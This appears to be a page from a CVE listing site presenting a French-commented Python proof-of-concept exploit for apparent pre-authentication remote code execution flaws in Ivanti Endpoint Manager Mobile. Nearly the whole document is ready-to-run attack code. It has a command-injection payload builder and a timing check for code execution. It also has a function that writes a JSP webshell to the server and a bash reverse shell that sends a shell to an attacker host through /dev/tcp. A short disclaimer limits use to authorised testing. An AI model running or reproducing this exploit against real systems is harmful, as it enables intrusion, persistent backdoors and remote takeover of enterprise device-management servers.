4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE PoC
Author: Mehdi - Red Team Consultant
Description: Exploit pour les vulnérabilités d'injection de code dans Ivanti Endpoint Manager Mobile
Technique: Bash Arithmetic Expansion via Apache RewriteMap

DISCLAIMER: À utiliser uniquement dans un cadre légal et autorisé (Red Team, pentest avec accord écrit)
"""

import argparse
import requests
import urllib3
import sys
import time
from urllib.parse import quote

# Désactiver les warnings SSL
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class IvantiEPMMExploit:
    def __init__(self, target, timeout=10, verify_ssl=False):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.verify_ssl = verify_ssl
        self.session = requests.Session()
        
        # Headers standards
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        }
    
    def banner(self):
        """Affiche le banner du PoC"""
        banner = """
╔═══════════════════════════════════════════════════════════════╗
║   CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM RCE PoC        ║
║   Bash Arithmetic Expansion Exploitation                      ║
║   Author: Mehdi | Red Team Consultant                         ║
╚═══════════════════════════════════════════════════════════════╝
"""
        print(banner)
    
    def check_vulnerable(self):
        """Vérifie si la cible est potentiellement vulnérable"""
        print(f"[*] Test de la cible: {self.target}")
        
        # Test 1: Vérifier l'accessibilité du endpoint
        test_paths = [
            '/mifs/c/appstore/fob/',
            '/mifs/c/aftstore/fob/'
        ]
        
        for path in test_paths:
            try:
                url = f"{self.target}{path}"
                response = self.session.get(
                    url,
                    headers=self.headers,
                    timeout=self.timeout,
                    verify=self.verify_ssl,
                    allow_redirects=False
                )
                
                if response.status_code in [404, 403, 400]:
                    print(f"[+] Endpoint trouvé: {path} (Status: {response.status_code})")
                    return True
            except Exception as e:
                print(f"[-] Erreur lors du test {path}: {e}")
                continue
        
        print("[-] Les endpoints vulnérables ne semblent pas accessibles")
        return False
    
    def build_payload(self, command):
        """
        Construit le payload d'exploitation
        
        Technique:
        - Utilise la variable theValue contenant une référence à gPath[`command`]
        - L'expansion arithmétique bash exécute le command substitution
        - Padding de 2 espaces pour contourner la validation de longueur
        """
        # Encoder la commande pour l'injection
        # Format: gPath[`command`]
        payload_cmd = f"gPath[`{command}`]"
        
        # Construction du path avec les paramètres requis
        # kid=1,st=theValue  ,et=1337133713,h=gPath[`command`]
        params = {
            'kid': '1',
            'st': 'theValue  ',  # 2 espaces de padding pour la validation de longueur
            'et': '1337133713',
            'h': payload_cmd
        }
        
        # Construire la chaîne de paramètres
        param_string = ','.join([f"{k}={v}" for k, v in params.items()])
        
        return param_string
    
    def exploit(self, command, endpoint='appstore'):
        """
        Exécute l'exploitation
        
        Args:
            command: La commande bash à exécuter
            endpoint: 'appstore' ou 'aftstore' (CVE-2026-1281 vs CVE-2026-1340)
        """
        print(f"\n[*] Tentative d'exploitation via endpoint: {endpoint}")
        print(f"[*] Commande: {command}")
        
        # Choisir le bon endpoint
        if endpoint == 'appstore':
            base_path = '/mifs/c/appstore/fob/3/5/sha256:'
        else:
            base_path = '/mifs/c/aftstore/fob/3/5/sha256:'
        
        # Construire le payload
        payload_params = self.build_payload(command)
        
        # GUID fictif pour compléter le path
        fake_guid = '13371337-1337-1337-1337-133713371337.ipa'
        
        # URL complète
        exploit_path = f"{base_path}{payload_params}/{fake_guid}"
        url = f"{self.target}{exploit_path}"
        
        print(f"[*] URL d'exploitation: {url}")
        
        try:
            # Envoyer la requête
            response = self.session.get(
                url,
                headers=self.headers,
                timeout=self.timeout,
                verify=self.verify_ssl,
                allow_redirects=False
            )
            
            print(f"[+] Requête envoyée - Status: {response.status_code}")
            
            # Un 404 est attendu mais la commande a été exécutée
            if response.status_code == 404:
                print("[+] Exploitation probablement réussie (404 attendu)")
                print("[!] La commande a été exécutée en backend")
                return True
            else:
                print(f"[!] Status inattendu: {response.status_code}")
                return False
                
        except requests.exceptions.Timeout:
            print("[!] Timeout - La commande peut avoir été exécutée")
            return None
        except Exception as e:
            print(f"[-] Erreur lors de l'exploitation: {e}")
            return False
    
    def test_rce(self):
        """Test RCE avec une commande sleep"""
        print("\n[*] Test d'exécution de code avec 'sleep 5'")
        
        start = time.time()
        result = self.exploit('sleep 5')
        elapsed = time.time() - start
        
        print(f"[*] Temps écoulé: {elapsed:.2f}s")
        
        if elapsed >= 5:
            print("[+] RCE confirmé (délai détecté)")
            return True
        else:
            print("[!] Pas de délai significatif détecté")
            return False
    
    def deploy_webshell(self, webshell_path='/mi/webshell.jsp'):
        """
        Déploie un webshell simple
        
        Note: Nécessite les privilèges d'écriture sur le système de fichiers
        """
        print(f"\n[*] Tentative de déploiement d'un webshell: {webshell_path}")
        
        # Webshell JSP simple
        webshell_content = """<%@ page import="java.io.*" %><%
String cmd = request.getParameter("cmd");
if(cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while((line = br.readLine()) != null) {
        out.println(line);
    }
}
%>"""
        
        # Échapper et encoder pour injection
        escaped_content = webshell_content.replace("'", "'\\''")
        command = f"echo '{escaped_content}' > {webshell_path}"
        
        result = self.exploit(command)
        
        if result:
            print(f"[+] Webshell potentiellement déployé: {self.target}{webshell_path}?cmd=id")
        
        return result
    
    def reverse_shell(self, lhost, lport):
        """
        Établit un reverse shell bash
        
        Args:
            lhost: IP de l'attaquant
            lport: Port du listener
        """
        print(f"\n[*] Tentative de reverse shell vers {lhost}:{lport}")
        print(f"[!] Assurez-vous d'avoir un listener actif: nc -lvnp {lport}")
        
        # Reverse shell bash classique
        command = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
        
        result = self.exploit(command)
        
        if result:
            print("[+] Reverse shell initié")
        
        return result


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE PoC',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Exemples d'utilisation:
  # Test de vulnérabilité
  python3 exploit.py -t https://target-epmm.example.com -c
  
  # Test RCE avec sleep
  python3 exploit.py -t https://target-epmm.example.com --test-rce
  
  # Exécution de commande personnalisée
  python3 exploit.py -t https://target-epmm.example.com -x "id > /tmp/poc"
  
  # Déploiement d'un webshell
  python3 exploit.py -t https://target-epmm.example.com --webshell
  
  # Reverse shell
  python3 exploit.py -t https://target-epmm.example.com --reverse-shell 10.10.14.5:4444
  
Endpoints exploitables:
  - /mifs/c/appstore/fob/ (CVE-2026-1281)
  - /mifs/c/aftstore/fob/ (CVE-2026-1340)
        """
    )
    
    parser.add_argument('-t', '--target', required=True, help='URL cible (ex: https://epmm.example.com)')
    parser.add_argument('-c', '--check', action='store_true', help='Vérifier si la cible est vulnérable')
    parser.add_argument('--test-rce', action='store_true', help='Test RCE avec sleep 5')
    parser.add_argument('-x', '--execute', help='Commande personnalisée à exécuter')
    parser.add_argument('-e', '--endpoint', choices=['appstore', 'aftstore'], default='appstore',
                        help='Endpoint à cibler (default: appstore)')
    parser.add_argument('--webshell', action='store_true', help='Déployer un webshell JSP')
    parser.add_argument('--reverse-shell', metavar='IP:PORT', help='Établir un reverse shell (ex: 10.10.14.5:4444)')
    parser.add_argument('--timeout', type=int, default=10, help='Timeout des requêtes (default: 10s)')
    parser.add_argument('--no-ssl-verify', action='store_true', help='Désactiver la vérification SSL')
    
    args = parser.parse_args()
    
    # Initialiser l'exploit
    exploit = IvantiEPMMExploit(
        target=args.target,
        timeout=args.timeout,
        verify_ssl=not args.no_ssl_verify
    )
    
    exploit.banner()
    
    # Vérification de vulnérabilité
    if args.check:
        exploit.check_vulnerable()
        return
    
    # Test RCE
    if args.test_rce:
        exploit.test_rce()
        return
    
    # Commande personnalisée
    if args.execute:
        exploit.exploit(args.execute, endpoint=args.endpoint)
        return
    
    # Déploiement webshell
    if args.webshell:
        exploit.deploy_webshell()
        return
    
    # Reverse shell
    if args.reverse_shell:
        try:
            lhost, lport = args.reverse_shell.split(':')
            exploit.reverse_shell(lhost, int(lport))
        except ValueError:
            print("[-] Format invalide pour --reverse-shell. Utilisez IP:PORT")
            sys.exit(1)
        return
    
    # Si aucune action spécifiée, afficher l'aide
    parser.print_help()


if __name__ == '__main__':
    main()